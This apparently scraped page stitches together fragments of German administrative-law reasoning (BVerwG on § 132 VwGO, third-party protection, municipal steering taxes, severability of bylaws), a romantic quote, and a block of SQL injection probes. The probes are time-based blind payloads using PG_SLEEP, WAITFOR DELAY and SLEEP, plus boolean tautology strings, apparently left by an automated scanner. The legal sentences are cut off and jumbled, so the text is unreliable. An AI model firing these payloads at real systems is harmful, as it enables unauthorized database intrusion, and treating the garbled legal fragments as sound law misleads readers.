Grundsätzliche Bedeutung iSv § 132 II Nr. 1 VwGO hat eine Rechtssache nur dann, wenn in dem angestrebten Revisionsverfahren die Klärung einer in ihrer Bedeutung über den der Beschwerde zugrundeliegenden Einzelfall hinausgehenden.
In der Rechtsprechung des BVerwG ist geklärt, dass eine Ermessensvorschrift nur dann Drittschutz entfalten kann, wenn die zuständige Behörde bei der Ausübung ihres Eingriffsermessens nicht nur das öffentliche Interesse und das Interesse des Adressaten ihres Bescheides, sondern auch die Interessen der jeweiligen Nachbarn des Adressaten zu beachten hat. Danach kommt es allein auf die Schutzrichtung der Norm und nicht auf die Intensität ihrer möglichen Verletzung an.
Der zulässige Antrag der Antragsgegnerin ist weitgehend begründet. Der Verwaltungsgerichtshof hat dem Normenkontrollantrag zu Unrecht vollumfänglich stattgegeben.
Die Ausübung der Steuergesetzgebungskompetenz zur Lenkung in einem anderweitig geregelten Sachbereich ist aber nur unter der Voraussetzung zulässig, dass dadurch die Rechtsordnung nicht widersprüchlich wird. Dies ist der Fall, wenn den Normadressaten gegenläufige Regelungen erreichen
Der kommunale Satzungsgeber darf durch eine Lenkungssteuer nicht in den Regelungsbereich des Bundesgesetzgebers einwirken, wenn dieser den steuerlich verfolgten Lenkungszweck ausgeschlossen oder gegenläufige Lenkungswirkungen oder Handlungsmittel vorgeschrieben hat
An der Ausübung ihrer Kompetenz wäre die Antragsgegnerin nur gehindert, wenn sie eine dem Bundesrecht widersprechende Regelung erlassen würde.
Aus bundesrechtlicher Sicht bestimmt sich die Teilbarkeit einer Satzung entsprechend § 139 BGB danach, ob die ohne den unwirksamen Teil bestehende Restregelung sinnvoll bleibt und ob mit Sicherheit anzunehmen ist, dass sie auch ohne den zur Unwirksamkeit führenden Teil erlassen worden wäre
im Interesse der Einheit oder der Fortbildung des Rechts revisionsgerichtlich klärungsbedürftigen und entscheidungserheblichen Rechtsfrage des revisiblen Rechts zu erwarten ist
0Obwz13p' OR 689=(SELECT 689 FROM PG_SLEEP(15))--
lfDKCQFs'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3+680-680-1=0+0+0+1 --
-1' OR 3+788-788-1=0+0+0+1 or 'MePjdhNb'='
-1' OR 2+788-788-1=0+0+0+1 or 'MePjdhNb'='
-1" OR 2+680-680-1=0+0+0+1 --
-1' OR 2+985-985-1=0+0+0+1 --
-1 OR 2+467-467-1=0+0+0+1
-1 OR 3+467-467-1=0+0+0+1
-1' OR 3+985-985-1=0+0+0+1 --
-1 OR 3+338-338-1=0+0+0+1 --
-1 OR 2+338-338-1=0+0+0+1 --
Find a guy that will pick up every piece of your broken and shattered heart and put it back together again; keeping one piece for himself and replacing it with a piece of his.
-1' OR 3+600-600-1=0+0+0+1 or 'DLbKiTfa'='